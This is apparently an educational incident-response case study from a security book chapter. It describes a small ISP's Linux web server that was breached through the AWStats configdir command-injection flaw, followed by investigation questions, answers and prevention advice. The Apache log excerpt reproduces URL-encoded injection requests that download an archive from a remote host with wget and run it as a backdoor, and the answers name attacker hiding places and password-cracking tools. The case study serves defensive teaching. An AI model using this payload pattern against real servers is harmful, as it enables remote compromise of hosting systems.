Vous êtes sur la page 1sur 14

Hackers Challenge 3 chapter Anton Chuvakin Industry: Internet provider Attack Complexity: Medium Prevention Complexity: Low Mitigation

n Complexity: High Background: By the year 2005, the Internet was well on the path to becoming a staple, like radio, TV or phone service or electricity before them. Not only all major corporations, but a large number of small businesses had websites and many had e-commerce capabilities at them. Along the course of that, web hosting business lost its cutting-edge appeal many years ago. It certainly was felt this way at Ownit, Inc. Ownit, Inc, a small ISP in New Jersey was known for its low small-business web hosting rates and friendly customer service. They also threw in lots of free extras to entice customers, such as free CGI scripting, MySQL hosting for databasedriven web applications and advanced web statistics package for all the customers. In addition, they did a reasonable good job retaining customers and keeping them from migrating to major web hosting houses. Being a small ISP, the company was not too focused on security; their staff sysadmins took care of it to the best of their ability. Such ability was battle hardened in combating earlydays hackers who were trying to compromise the servers in the mid-90s when the ISP was founded. Their main workhorses were a dozen or so of RedHat (Fedora and Advanced Server) Linux systems. The systems were used for most hosting task, such as email and web. ISP also used a variety of Windows systems, used by some web developers and graphic artists. Two Windows servers were also deployed for those wishing to have their websites hosted on IIS, if they felt adventurous enough to try it (most werent!) Most of the Windows boxes, which were not exposed to public networks and protected by a PIX firewall (which also did NAT or network address translation on the internal IP addresses), were usually patched via Windows Update Services direct from Microsoft. Those running IIS web servers in the DMZ were patched via Windows Update Services as well, and the status of patching success was dutifully verified. RedHat and Fedora boxes were patched whenever people felt like doing it, since they are perceived to be secure. Adminsitrators used up2date utility to accomplish this. The ISP made a switch to Linux from Solaris and was very happy since they did; older Solaris boxes, hailing back to the days when they

were called SunOS, were hacked several times and the newer Linuxes were faring so much better even without patching religiously. In this age of Windows viruses, worms and spyware, Ownit Inc owners were happy that they went with Linux for both security and manageability reasons. Their customers were happy with quality and reliability of their sites and mail connectivity. And this is where our story starts Timeline: Tuesday, March 13, 200X, 10:15AM It was a typical non-Monday morning at Ownit, Inc; and two of the colleagues from the sysadmin team were going through daily routine of server and application management tasks (that werent automated yet as Jim would sometimes say), while violating the strict no coffee in the server room policy. Hey, Jim said Joe Kettlesmart, the senior system administrator of Ownit, addressing his junior colleague, responsible for web applications. Did this Joseph guy from Seduce and Post finally got to you? He called several times yesterday. It looks like he wanted to thank you for upgrading our stats package, since the new version has some fancy feature that helped him track the progress of his new campaign...

Holding his third cup of coffee this soon-to-be-memorable morning as he was thinking thats one too many, darn, Jim sounded surprised No, he never did. After a pause, which might have sounded like he was thinking, Jim continued: And, as far as I remember, I didnt really touch the awstats, at least not on this server. Ive been meaning to update it for some time, but other stuff keeps piling up Joe continued with the thought he had: This Joseph is a funny guy. And his website has been getting a lot of hits lately. I was looking at overall traffic usage report some time ago and his share of bandwidth has been growing steadily. To think that his business is to run a site where men can post picture of women they seduced and people actually pay for this stuff maybe you and me are in the wrong biz. Jim agreed: Yeah, there are a lot of weirdos out there who are willing to pay for such service. He though for a second But did you say he thanked you for an upgrade we did? Joe: He said thanks for finally upgrading it. He said that the sent some emails to you asking for an upgrade and now he is happy since he finally got his much needed stats archiving feature or something of that sort Jim considered this. Yeah, those emails still sit in my INBOX he continued Hmm, later 6.x versions of awstats do have this feature, but we run version

6.1, which doesnt. Interesting! Let me see, maybe I did upgrade it in my undercaffeinated state and forgot about it. Or maybe the guy is just confused! Timeline: Tuesday, March 13, 200X, 2:15PM After finishing some other tasks, Jim launched his SSH client and logged into a Fedora (a community-supported version of RedHat Linux) server with a boring name of websmall18, that was used by several of the Ownit smaller customers, including Seduce and Post. To save hardware, Ownit used the same system to host both email and web pages for such customers. This server, for example, ran a dozen websites and handled around a hundred unique email users. Suspecting that the server will still version 6.1, he changes to a directory where documentation for the package is installed. cd /usr/share/docs/ Jim expects to see this among other directory entries: awstats-6.1 after executing a command ls l. However, he discovers this instead: awstats-6.4 At that point, Jim has grown sure that he did not upgrade the software. Ok, who on Earth did that? he thought. He runs an rpm (RedHat Package Manager a software distribution and management system) command: rpm qa | grep awstats to confirm the installed version. No mistake, the result was: awstats-6.4-1.0 He calls another junior system admin, Josh, who, as he knows, used to do some work on this system. Josh says that he didnt touch the box for months. Ok, time to dig into the logs Timeline: Tuesday, March 13, 200X, 3:15PM Jim knew that the customer called to thank him yesterday, which was March 12. He decided to review systems logs (located in /var/log/ on this Linux system) for

March 12 and several days prior to this. Almost immediately he comes across this:
Mar 12 02:24:07 combo xinetd[1720]: Exiting... Mar 12 02:24:08 combo xinetd: xinetd shutdown succeeded Mar 12 02:24:11 combo xinetd[21815]: xinetd Version 2.3.10 started with libwrap options compiled in. Mar 12 02:24:11 combo xinetd[21815]: Started working: 2 available services Mar 12 02:24:11 combo xinetd: xinetd startup succeeded Mar 12 02:31:34 combo xinetd[21815]: Exiting... Mar 12 02:31:34 combo xinetd: xinetd shutdown succeeded Mar 12 02:31:35 combo xinetd[21943]: xinetd Version 2.3.10 started with libwrap options compiled in. Mar 12 02:31:35 combo xinetd[21943]: Started working: 2 available services Mar 12 02:31:37 combo xinetd: xinetd startup succeeded Mar 12 02:37:00 combo xinetd[21996]: pmap_set failed. service=sgi_fam program=391002 version=2 Mar 12 02:37:01 combo xinetd[21996]: xinetd Version 2.3.10 started with libwrap options compiled in. Mar 12 02:37:01 combo xinetd[21996]: Started working: 1 available service Mar 12 02:37:03 combo xinetd: xinetd startup succeeded

Oh-oh thinks Jim if I were in my first year as a green sysadmin, I would think somebody was doing late-hour system maintenance here. I dont think folks at Ownit are into such things; 2AM is mean for sleeping, and that is what all system people here do at that time Somebody just reconfigured our inetd daemon, responsible for network connection to the system. But how is it related to the upgrade? It sure does awfully suspicious Jim decided to check the command history for root, thinking that whoever or whatever upgraded the awstats might have left traces there. However, he only sees his own commands typed today, as he types history in the shell prompt: 1 cd /usr/docs 2 ls l | grep awstat 3 less /var/log/messages 4 history and nothing else Ok, Houston, we have a problem! I need to talk to others about further action. Timeline: Tuesday, March 13, 200X, 4:07PM Jim has voiced his suspicions (which, at that point, were more than just suspicions, really) to other administrators, including Joe. After a brief discussion, Joe summarized:

It sure looks like an intrusion. We do not know yet how it was related to an upgrade, but it sure is weird that daemon restart, disappearance of history and this upgrade happened the same day The funny thing is added another admin this RedHat box is fully patched via up2date. We can check again, but the service was running fine last time I checked. Up2date is RedHats service, similar to Microsoft Update, used for automatically down loading and applying patches to RedHat Linux servers. At this point, one of the admins who just walked in added: Why all the fuss? Maybe this awstats that you guys are talking about was automatically upgraded by up2date. When Jim heard this, he had his Eureka! moment, the first this evening. No, Ken, we installed awstats ourselves! Up2date will not touch it. However, you are still a genius! Why? the other admin responded. Even though we think the box was fully patched, it really wasnt. It had some stuff installed by us, and those are obviously not patched automatically. I admit I never heard about anybody hacking awstats, but, hey, there is always the first time Jim explained. At this point they decided to look further into what else happened on the system. Timeline: Tuesday, March 13, 200X, 4:34 PM Since awstats is a CGI application, somebody suggested they look at web server logs, originally overlooked by Jim. A quick scan of Apaches access_log (located in /var/log/http) revealed these mysterious lines: - - [12/Mar/2005:00:51:01 -0500] "GET /cgi-bin/awstats.pl?configdir= %20%7c%20cd%20%2ftmp%3bwget%20www.shady.go.ro%2fa.tgz%3b%20tar%20zxf%20a.tgz %3b%20rm%20-f%20a.tgz%3b%20.%2fa%20%7c%20 HTTP/1.1" 200 1097 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts)" - - [12/Mar/2005:00:51:47 -0500] "GET /cgi-bin/awstats.pl?configdir=%20%7c %20cd%20%2ftmp%3bwget%20www.shady.go.ro%2faw.tgz%3b%20tar%20zxf%20aw.tgz%3b %20rm%20-f%20aw.tgz%3b%20cd%20.aw%3b%20.%2finetd%20%7c%20 HTTP/1.1" 200 1097 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts)"

It looks like somebody stick a shell command in the URL. Moreover, it calls our good friend, awstats in some peculiar way

At this point, Jim suggested they look at the firewall logs to confirm that this download actually happened. They find this final nail in the coffin evidence: Mar 12 00:58:28 firesafe kernel: OUTBOUND CONN TCP: IN=br0 PHYSIN=eth1 OUT=br0 PHYSOUT=eth0 SRC= DST= LEN=60 TOS=0x00 PREC=0x00 TTL=64 ID=57797 DF PROTO=TCP SPT=3190 DPT=21 WINDOW=5840 RES=0x00 SYN URGP=0 Our web server connected to an FTP server in Romania that night. Do I need to say more? Timeline: Tuesday, March 13, 200X, 5:10 AM After a short break, Jim proceeded to look at the compromised server. While he was convinced that the server was indeed penetrated by hackers, he wanted to convincingly connect the attack to the AWSTATS package upgrade, so that he can present the incident case to his superiors (if they care to ask Jim actually doubted that). For that, he looked at the date of the installed files AWSTATS: -rw------1 root root 162 Mar 12 01:21 awstats.pl

which matched the time of the intrusion. So, it looks like its all coming together Jim wondered, what else has their friend modified on the system Jim knew about tools such as Tripwire, but they were not in use on Ownit system. He regretted it the first time and though that he should probably deploy Tripwire when he rebuilds the server (at that point he had no doubt that it needs to be rebuilt). Lets seee he though as he brought the keyboard closer to himself and nervously tapped the keys. Where his stuff might be? He thought that since the attacker first came as user apache, he should check the locations that such user can write to: /tmp and /var/tmp He quickly typed: # cd /tmp # ls l # cd /var/tmp # ls l

Hmm, nothing out of the ordinary, interesting he reflected- But what if they got root? In this case, the stuff can be anywhere!. Jim paused where I can hide stuff on a system? some location that people just dont look How about this? and he typed: # cd /usr/src/ # ls la # cd /var/spool # ls la It was getting late and Jim figure Ah, enough playing Sherlock - lets rebuild it tomorrow. Timeline: Tuesday, March 14, 200X, 08:34 AM This day started slow. In fact, Jim wanted it to be even slower since he has to rebuild the server. He started by erasing the partition contents from a local root prompt. Next, he got out his RedHat CDs. After the installation finished in a typical uneventful RedHat manner, he decided to be good and patch the server right away. However, he needed the Internet access to connect to the RedHat patch repository. He put the 1U Dell box back on a rack, where it sat before, screwed it in, configured the old IP address and launched the up2date program in order to download all the updates. Last time Jim did it. the process took more than an hour, since updating from a fresh system involved downloading almost a hundred patches. While the update was going on, Jim took a break, chatting with fellow admins about the incident (Are we lucky or what?) When he came back in two hours, the update completed with no errors. Jim ruffled in the backup tape closet, found a recent tape of this server. He proceeded to restore the user directories and web sites to disk. After he was through with the standard server restoration routine the Ownit way, Jim went to the AWSTATS site (http://awstats.sourceforge.net/) to download the latest version in the RPM package. He unstalled the one that got installed from a backup (6.1) by running: # rpm e awstats and proceeded to deploy a new one: # rpm U awstats-6.4-1.noarch.rpm

Completing this, he scratched his head thinking what other applications they had deployed, that needed a patch. Timeline: Tuesday, March 14, 200X, 2:11 PM When Jim was done, the server was returned to production. It was done by sending an email to all other admins
From: jim@ownit.com To: admins@ownit.com Subject: websmall18 back to production Hey, I put the websmall18 back in production with the hole patched. Lets watch it for a couple of days. I changed the root password to the old one plus the number 7. I also changed the passwords for all the email users, hosted on that box. Get ready for the onslaught of calls! Jim

I am done!- he thought. However, doubts and concerns remained on his mind Questions: 1. Why are the timestamps different at the web server and the firewall system? 2. What is likely contained in a.tgz file downloaded by the attacker? 3. What they could have done to prevent the situation? 4. What are the common locations for the attackers software that Jim did not check? 5. What did Jim do wrong while restoring the server? 6. What minor security policy weaknesses is manifested in Jims email to fellow system admins? Solution: Introduction: Bad things happen to good companies. In this case, it means that you can get hacked even if your security is well thought, nimble and efficient. In this case, they happened to a typical company, with security at the level that can be called mediocre, rather than deeply troubling (no internal patching, for example) or disastrous (unpatched Windows servers in the Internet-exposed DMZ).

Thus, the story holds important lessons about patching and keeping up with vulnerability information deluge. Answers: Q1 Why are the timestamps different at the web server and the firewall system? A1 Time sync was not implemented in the Ownit environment. The servers kept their own time which was neither synchronized between themselves (such as via NTP) nor verified with the internet time server, such as time.nist.gov. Having reliable time immensely helps with incident investigation as well as with routine server and security monitoring. Q2 What is likely contained in a.tgz file downloaded by the attacker? A2 It contained a bundle of local exploits, a backdoor and miscellaneous system binary Trojans. Since the attack gave the attacker only user-level access (with the privileges of the apache user), he needed to work more on getting root. This was accomplished by downloading the archive, unpacking it, staring the backdoor so he can connect to the system without going through the vulnerable application. After that the attacker can connect to the backdoor (still as user apache), try various local exploits, get root and then thoroughly Trojan the system by using the enclosed Q3 What they could have done to prevent the situation? A3 See prevention section below. The key element is patching 3rd party applications as frequently as OS and bundled apps are patched. Q4 What are the common locations for the attackers software that Jim did not check? A4 Indeed, Jims guess about /usr/src and others he tried was correct. Attackers often hide their stuff in this location on compromised system. Jim was also correct in checking /tmp first, siunce a sloppy attacker might have forgotted to delete the initial package a.tgz. However, one of the most common locations to hide stuff is in /dev/ - truly a place where people rarely look. These hiding places were commonly seen by the author on the compromised systems: /dev/ /dev/ .. (space, dot, dot) Q5 What did Jim do wrong while restoring the server? A5 He connected the server with a default configuration to the Internet before patching it! One might erroneously think that the risk is low, but in this age of automated attacks the rapid automated scans are a fact of life.

Indeed, a Windows server under such circumstances would be certainly compromised by one of the worms. In fact, researchers estimated, that the average time before compromise is far less than the time it takes to patch a Windows system by using Microsoft Update site. The risk is lower for Linux, but it is not unlikely that a default install of RedHat will be affected as well. Q6 What minor security policy weaknesses is manifested in Jims concluding email to fellow system admins? A6 Even though Jim knew better than to email the root password (after all, he was an experienced system administrator), he actually didnt think that if the hacker is still on their network and has an ability to read this email, he can figure out the new root password from knowing the old one. A low risk? Well, it depends how strong the old one was. It could have been cracked by the attacker by using some of the many password cracking tools, such as John-the-Ripper (http://www.openwall.com/john/) or fancier rainbow tables-based tools like Rainbowcrack (http://www.antsight.com/zsl/rainbowcrack/), that use large pools of precomputed hashes. Prevention: The main prevention lesson from this story is very clear patch those apps fast! In the Windows world, Microsoft Update now patches not only Windows OS but also Microsoft Office applications. RedHat Linux, featured in this story, has the tool called UP2DATE which patches all the bundled applications automatically. However, the issue of patching other 3rd party and custom applications falls on the system admin team. There are commercial solutions that can be used to patch various third party applications on multiple platforms, but they still require a degree of diligence in keeping track of all the vulnerability information. The way to keep up to date with vulnerability and patch information is to subscribe to a vulnerability-related mailing list, RSS feed or even a commercial vulnerability notification service. The above information source will help you stay informed about vulnerabilities in most commonly used application. Some web sites with that help are: SANS (free vulnerability newsletter) Bugtraq mailing list (vulnerability information) Secunia (free and commercial vulnerability notification) ThreatFocus by PIVX (customizable vulnerability notification)

iDefense by VeriSign (high-end commercial vulnerability notification service)

Before the patch is released, the above information sources will often provide workarounds. Those are various configuration tweaks that may render the flaw unexploitable or limit the damage that can be caused by exploiting it. For example, iDefense advisory on the vulnerability that was exploited in this case (see references section below) provides this workaround, requiring a minor code change of the awstats.pl Perl script:
Replace this if ($QueryString =~ /configdir=([^&]+)/i) { $DirConfig=&DecodeEncodedString("$1"); } With this: if ($QueryString =~ /configdir=([^&]+)/i) { $DirConfig=&DecodeEncodedString("$1"); $DirConfig=~tr/a-z0-9_\-\/\./a-z0-9_\-\/\./cd; }

(http://www.idefense.com/application/poi/display? id=185&type=vulnerabilities&flashstatus=false) This workaround adds a filtering capability to the parameter input, disallowing the attackers ability to execute arbitrary commands that were used to penetrate the system. Mitigation: Now that the intrusion is confirmed, the most likely action required will be to rebuild the server. While inexperience system admins will often try to clean up the system, the task is pretty thankless even for systems that have a known good baseline (recorded by an integrity checking software such as Tripwire). The reason for such stance is that there is an infinite number of places that may be changed by the attacker and an equivalent number of methods that can be used to compromise the integrity of the system. Clean rebuild, bringing it up-todate patching, user application and data restore are the needed steps. The best resource to plan the incident mitigation activity is SANS Institute Six Step incident Response Guide. Here is an example mitigation plan, loosely based on the above guide. It assumes that the incident is confirmed and the system is removed from production.

1. Backup the compromised system 2. Erase everything 3. Reinstall from the original vendor media 4. Update the system 5. Install or restore 3rd party and custom applications 6. Patch them by whatever supported means 7. Scan the system for vulnerabilities 8. Install appropriate security software, if prescribed by the standard 9. Possibly increase the monitoring and logging capabilities 10. Restore user data 11. Return the system into production At the same time, make adjustment to your policies and procedures in order to assure timely patching of OS and applications on all exposed servers (first) as well as the internal systems (second). Additional resources: Relevant AWSTATS vulnerability CAN 2005-0116 http://nvd.nist.gov/nvd.cfm?cvename=CAN-2005-0116 AWStats 6.1, and other versions before 6.3, allows remote attackers to execute arbitrary commands via shell metacharacters in the configdir parameter. Detailed information from iDefense/VeriSign http://www.idefense.com/application/poi/display? id=185&type=vulnerabilities&flashstatus=false Other AWSTATS vulnerabilities from NVD (http://nvd.nist.gov/) CAN-2005-2732 Summary: AWStats 6.4, and possibly earlier versions, allows remote attackers to obtain sensitive information via a file that does not exist in the config parameter, which reveals the path in an error message. Published: 8/30/2005 Severity: Medium CAN-2005-1527 Summary: Eval injection vulnerability in awstats.pl in AWStats 6.4 and earlier, when a URLPlugin is enabled, allows remote attackers to execute arbitrary Perl code via the HTTP Referrer, which is used in a $url parameter that is inserted into an eval function call. Published: 8/15/2005

Severity: Medium CAN-2005-0438 Summary: awstats.pl in AWStats 6.3 and 6.4 allows remote attackers to obtain sensitive information by setting the debug parameter. Published: 5/2/2005 Severity: Low CAN-2005-0437 Summary: Directory traversal vulnerability in awstats.pl in AWStats 6.3 and 6.4 allows remote attackers to include arbitrary Perl modules via .. (dot dot) sequences in the loadplugin parameter. Published: 5/2/2005 Severity: Medium CAN-2005-0436 Summary: Direct code injection vulnerability in awstats.pl in AWStats 6.3 and 6.4 allows remote attackers to execute portions of Perl code via the PluginMode parameter. Published: 5/2/2005 Severity: Medium CAN-2005-0435 Summary: awstats.pl in AWStats 6.3 and 6.4 allows remote attackers to read server web logs by setting the loadplugin and pluginmode parameters to rawlog. Published: 5/2/2005 Severity: Low CAN-2005-0363 Summary: awstats.pl in AWStats 4.0 and 6.2 allows remote attackers to execute arbitrary commands via shell metacharacters in the config parameter. Published: 5/2/2005 Severity: High CAN-2005-0362 Summary: awstats.pl in AWStats 6.2 allows remote attackers to execute arbitrary commands via shell metacharacters in the (1) "pluginmode", (2) "loadplugin", or (3) "noloadplugin" parameters. Published: 2/9/2005 Severity: High CAN-2005-0116 VU#272296 Summary: AWStats 6.1, and other versions before 6.3, allows remote attackers to execute arbitrary commands via shell metacharacters in the configdir parameter. Published: 1/18/2005

Severity: High